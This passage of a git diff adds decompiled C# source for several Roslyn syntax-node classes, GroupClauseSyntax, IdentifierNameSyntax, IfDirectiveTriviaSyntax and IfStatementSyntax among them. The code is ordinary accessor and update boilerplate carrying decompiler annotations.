//IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, GotoKeyword, CaseOrDefaultKeyword, Expression, SemicolonToken); + } + + public GotoStatementSyntax WithGotoKeyword(SyntaxToken gotoKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, gotoKeyword, CaseOrDefaultKeyword, Expression, SemicolonToken); + } + + public GotoStatementSyntax WithCaseOrDefaultKeyword(SyntaxToken caseOrDefaultKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, GotoKeyword, caseOrDefaultKeyword, Expression, SemicolonToken); + } + + public GotoStatementSyntax WithExpression(ExpressionSyntax? expression) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, GotoKeyword, CaseOrDefaultKeyword, expression, SemicolonToken); + } + + public GotoStatementSyntax WithSemicolonToken(SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, GotoKeyword, CaseOrDefaultKeyword, Expression, semicolonToken); + } + + internal override StatementSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new GotoStatementSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/GroupClauseSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/GroupClauseSyntax.cs new file mode 100644 index 0000000..7607d20 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/GroupClauseSyntax.cs @@ -0,0 +1,102 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class GroupClauseSyntax : SelectOrGroupClauseSyntax +{ + private ExpressionSyntax? groupExpression; + + private ExpressionSyntax? byExpression; + + public SyntaxToken GroupKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.GroupClauseSyntax)(object)((SyntaxNode)this).Green).groupKeyword, ((SyntaxNode)this).Position, 0); + + public ExpressionSyntax GroupExpression => ((SyntaxNode)this).GetRed(ref groupExpression, 1); + + public SyntaxToken ByKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.GroupClauseSyntax)(object)((SyntaxNode)this).Green).byKeyword, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public ExpressionSyntax ByExpression => ((SyntaxNode)this).GetRed(ref byExpression, 3); + + internal GroupClauseSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 1 => ((SyntaxNode)this).GetRed(ref groupExpression, 1), + 3 => ((SyntaxNode)this).GetRed(ref byExpression, 3), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 1 => groupExpression, + 3 => byExpression, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitGroupClause(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitGroupClause(this); + } + + public GroupClauseSyntax Update(SyntaxToken groupKeyword, ExpressionSyntax groupExpression, SyntaxToken byKeyword, ExpressionSyntax byExpression) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + if (groupKeyword != GroupKeyword || groupExpression != GroupExpression || byKeyword != ByKeyword || byExpression != ByExpression) + { + GroupClauseSyntax groupClauseSyntax = SyntaxFactory.GroupClause(groupKeyword, groupExpression, byKeyword, byExpression); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return groupClauseSyntax; + } + return groupClauseSyntax.WithAnnotations(annotations); + } + return this; + } + + public GroupClauseSyntax WithGroupKeyword(SyntaxToken groupKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(groupKeyword, GroupExpression, ByKeyword, ByExpression); + } + + public GroupClauseSyntax WithGroupExpression(ExpressionSyntax groupExpression) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(GroupKeyword, groupExpression, ByKeyword, ByExpression); + } + + public GroupClauseSyntax WithByKeyword(SyntaxToken byKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(GroupKeyword, GroupExpression, byKeyword, ByExpression); + } + + public GroupClauseSyntax WithByExpression(ExpressionSyntax byExpression) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + return Update(GroupKeyword, GroupExpression, ByKeyword, byExpression); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/IdentifierNameSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/IdentifierNameSyntax.cs new file mode 100644 index 0000000..51c9e33 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/IdentifierNameSyntax.cs @@ -0,0 +1,71 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class IdentifierNameSyntax : SimpleNameSyntax +{ + public override SyntaxToken Identifier => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.IdentifierNameSyntax)(object)((SyntaxNode)this).Green).identifier, ((SyntaxNode)this).Position, 0); + + internal override string ErrorDisplayName() + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken identifier = Identifier; + return ((SyntaxToken)(ref identifier)).ValueText; + } + + internal IdentifierNameSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return null; + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return null; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitIdentifierName(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitIdentifierName(this); + } + + public IdentifierNameSyntax Update(SyntaxToken identifier) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (identifier != Identifier) + { + IdentifierNameSyntax identifierNameSyntax = SyntaxFactory.IdentifierName(identifier); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return identifierNameSyntax; + } + return identifierNameSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override SimpleNameSyntax WithIdentifierCore(SyntaxToken identifier) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithIdentifier(identifier); + } + + public new IdentifierNameSyntax WithIdentifier(SyntaxToken identifier) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Update(identifier); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/IfDirectiveTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/IfDirectiveTriviaSyntax.cs new file mode 100644 index 0000000..d376d94 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/IfDirectiveTriviaSyntax.cs @@ -0,0 +1,152 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class IfDirectiveTriviaSyntax : ConditionalDirectiveTriviaSyntax +{ + private ExpressionSyntax? condition; + + public override SyntaxToken HashToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.IfDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).hashToken, ((SyntaxNode)this).Position, 0); + + public SyntaxToken IfKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.IfDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).ifKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public override ExpressionSyntax Condition => ((SyntaxNode)this).GetRed(ref condition, 2); + + public override SyntaxToken EndOfDirectiveToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.IfDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).endOfDirectiveToken, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + + public override bool IsActive => ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.IfDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).IsActive; + + public override bool BranchTaken => ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.IfDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).BranchTaken; + + public override bool ConditionValue => ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.IfDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).ConditionValue; + + internal IfDirectiveTriviaSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 2) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRed(ref condition, 2); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 2) + { + return null; + } + return (SyntaxNode?)(object)condition; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitIfDirectiveTrivia(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitIfDirectiveTrivia(this); + } + + public IfDirectiveTriviaSyntax Update(SyntaxToken hashToken, SyntaxToken ifKeyword, ExpressionSyntax condition, SyntaxToken endOfDirectiveToken, bool isActive, bool branchTaken, bool conditionValue) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + if (hashToken != HashToken || ifKeyword != IfKeyword || condition != Condition || endOfDirectiveToken != EndOfDirectiveToken) + { + IfDirectiveTriviaSyntax ifDirectiveTriviaSyntax = SyntaxFactory.IfDirectiveTrivia(hashToken, ifKeyword, condition, endOfDirectiveToken, isActive, branchTaken, conditionValue); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return ifDirectiveTriviaSyntax; + } + return ifDirectiveTriviaSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override DirectiveTriviaSyntax WithHashTokenCore(SyntaxToken hashToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithHashToken(hashToken); + } + + public new IfDirectiveTriviaSyntax WithHashToken(SyntaxToken hashToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(hashToken, IfKeyword, Condition, EndOfDirectiveToken, IsActive, BranchTaken, ConditionValue); + } + + public IfDirectiveTriviaSyntax WithIfKeyword(SyntaxToken ifKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, ifKeyword, Condition, EndOfDirectiveToken, IsActive, BranchTaken, ConditionValue); + } + + internal override ConditionalDirectiveTriviaSyntax WithConditionCore(ExpressionSyntax condition) + { + return WithCondition(condition); + } + + public new IfDirectiveTriviaSyntax WithCondition(ExpressionSyntax condition) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, IfKeyword, condition, EndOfDirectiveToken, IsActive, BranchTaken, ConditionValue); + } + + internal override DirectiveTriviaSyntax WithEndOfDirectiveTokenCore(SyntaxToken endOfDirectiveToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithEndOfDirectiveToken(endOfDirectiveToken); + } + + public new IfDirectiveTriviaSyntax WithEndOfDirectiveToken(SyntaxToken endOfDirectiveToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, IfKeyword, Condition, endOfDirectiveToken, IsActive, BranchTaken, ConditionValue); + } + + public IfDirectiveTriviaSyntax WithIsActive(bool isActive) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, IfKeyword, Condition, EndOfDirectiveToken, isActive, BranchTaken, ConditionValue); + } + + public IfDirectiveTriviaSyntax WithBranchTaken(bool branchTaken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, IfKeyword, Condition, EndOfDirectiveToken, IsActive, branchTaken, ConditionValue); + } + + public IfDirectiveTriviaSyntax WithConditionValue(bool conditionValue) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, IfKeyword, Condition, EndOfDirectiveToken, IsActive, BranchTaken, conditionValue); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/IfStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/IfStatementSyntax.cs new file mode 100644 index 0000000..18f2a81 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/IfStatementSyntax.cs @@ -0,0 +1,186 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class IfStatementSyntax : StatementSyntax +{ + private SyntaxNode? attributeLists; + + private ExpressionSyntax? condition; + + private StatementSyntax? statement; + + private ElseClauseSyntax? @else; + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public SyntaxToken IfKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.IfStatementSyntax)(object)((SyntaxNode)this).Green).ifKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public SyntaxToken OpenParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.IfStatementSyntax)(object)((SyntaxNode)this).Green).openParenToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public ExpressionSyntax Condition => ((SyntaxNode)this).GetRed(ref condition, 3); + + public SyntaxToken CloseParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.IfStatementSyntax)(object)((SyntaxNode)this).Green).closeParenToken, ((SyntaxNode)this).GetChildPosition(4), ((SyntaxNode)this).GetChildIndex(4)); + + public StatementSyntax Statement => ((SyntaxNode)this).GetRed(ref statement, 5); + + public ElseClauseSyntax? Else => ((SyntaxNode)this).GetRed(ref @else, 6); + + public IfStatementSyntax Update(SyntaxToken ifKeyword, SyntaxToken openParenToken, ExpressionSyntax condition, SyntaxToken closeParenToken, StatementSyntax statement, ElseClauseSyntax? @else) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, ifKeyword, openParenToken, condition, closeParenToken, statement, @else); + } + + internal IfStatementSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref attributeLists), + 3 => ((SyntaxNode)this).GetRed(ref condition, 3), + 5 => ((SyntaxNode)this).GetRed(ref statement, 5), + 6 => ((SyntaxNode)this).GetRed(ref @else, 6), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => attributeLists, + 3 => condition, + 5 => statement, + 6 => @else, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitIfStatement(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitIfStatement(this); + } + + public IfStatementSyntax Update(SyntaxList attributeLists, SyntaxToken ifKeyword, SyntaxToken openParenToken, ExpressionSyntax condition, SyntaxToken closeParenToken, StatementSyntax statement, ElseClauseSyntax? @else) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || ifKeyword != IfKeyword || openParenToken != OpenParenToken || condition != Condition || closeParenToken != CloseParenToken || statement != Statement || @else != Else) + { + IfStatementSyntax ifStatementSyntax = SyntaxFactory.IfStatement(attributeLists, ifKeyword, openParenToken, condition, closeParenToken, statement, @else); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return ifStatementSyntax; + } + return ifStatementSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override StatementSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new IfStatementSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, IfKeyword, OpenParenToken, Condition, CloseParenToken, Statement, Else); + } + + public IfStatementSyntax WithIfKeyword(SyntaxToken ifKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, ifKeyword, OpenParenToken, Condition, CloseParenToken, Statement, Else); + } + + public IfStatementSyntax WithOpenParenToken(SyntaxToken openParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, IfKeyword, openParenToken, Condition, CloseParenToken, Statement, Else); + } + + public IfStatementSyntax WithCondition(ExpressionSyntax condition) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, IfKeyword, OpenParenToken, condition, CloseParenToken, Statement, Else); + } + + public IfStatementSyntax WithCloseParenToken(SyntaxToken closeParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, IfKeyword, OpenParenToken, Condition, closeParenToken, Statement, Else); + } + + public IfStatementSyntax WithStatement(StatementSyntax statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, IfKeyword, OpenParenToken, Condition, CloseParenToken, statement, Else); + } + + public IfStatementSyntax WithElse(ElseClauseSyntax? @else) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, IfKeyword, OpenParenToken, Condition, CloseParenToken, Statement, @else); + } + + internal override StatementSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new IfStatementSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ImplicitArrayCreationExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ImplicitArrayCreationExpressionSyntax.cs new file mode 100644 index 0000000..eca795a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ImplicitArrayCreationExpressionSyntax.cs @@ -0,0 +1,155 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ImplicitArrayCreationExpressionSyntax : ExpressionSyntax +{ + private InitializerExpressionSyntax? initializer; + + public SyntaxToken NewKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ImplicitArrayCreationExpressionSyntax)(object)((SyntaxNode)this).Green).newKeyword, ((SyntaxNode)this).Position, 0); + + public SyntaxToken OpenBracketToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ImplicitArrayCreationExpressionSyntax)(object)((SyntaxNode)this).Green).openBracketToken, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public SyntaxTokenList Commas + { + get + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + GreenNode slot = ((SyntaxNode)this).Green.GetSlot(2); + if (slot == null) + { + return default(SyntaxTokenList); + } + return new SyntaxTokenList((SyntaxNode)(object)this, slot, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + } + } + + public SyntaxToken CloseBracketToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ImplicitArrayCreationExpressionSyntax)(object)((SyntaxNode)this).Green).closeBracketToken, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + + public InitializerExpressionSyntax Initializer => ((SyntaxNode)this).GetRed(ref initializer, 4); + + internal ImplicitArrayCreationExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 4) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRed(ref initializer, 4); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 4) + { + return null; + } + return (SyntaxNode?)(object)initializer; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitImplicitArrayCreationExpression(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitImplicitArrayCreationExpression(this); + } + + public ImplicitArrayCreationExpressionSyntax Update(SyntaxToken newKeyword, SyntaxToken openBracketToken, SyntaxTokenList commas, SyntaxToken closeBracketToken, InitializerExpressionSyntax initializer) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + if (newKeyword != NewKeyword || openBracketToken != OpenBracketToken || commas != Commas || closeBracketToken != CloseBracketToken || initializer != Initializer) + { + ImplicitArrayCreationExpressionSyntax implicitArrayCreationExpressionSyntax = SyntaxFactory.ImplicitArrayCreationExpression(newKeyword, openBracketToken, commas, closeBracketToken, initializer); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return implicitArrayCreationExpressionSyntax; + } + return implicitArrayCreationExpressionSyntax.WithAnnotations(annotations); + } + return this; + } + + public ImplicitArrayCreationExpressionSyntax WithNewKeyword(SyntaxToken newKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(newKeyword, OpenBracketToken, Commas, CloseBracketToken, Initializer); + } + + public ImplicitArrayCreationExpressionSyntax WithOpenBracketToken(SyntaxToken openBracketToken) + { + 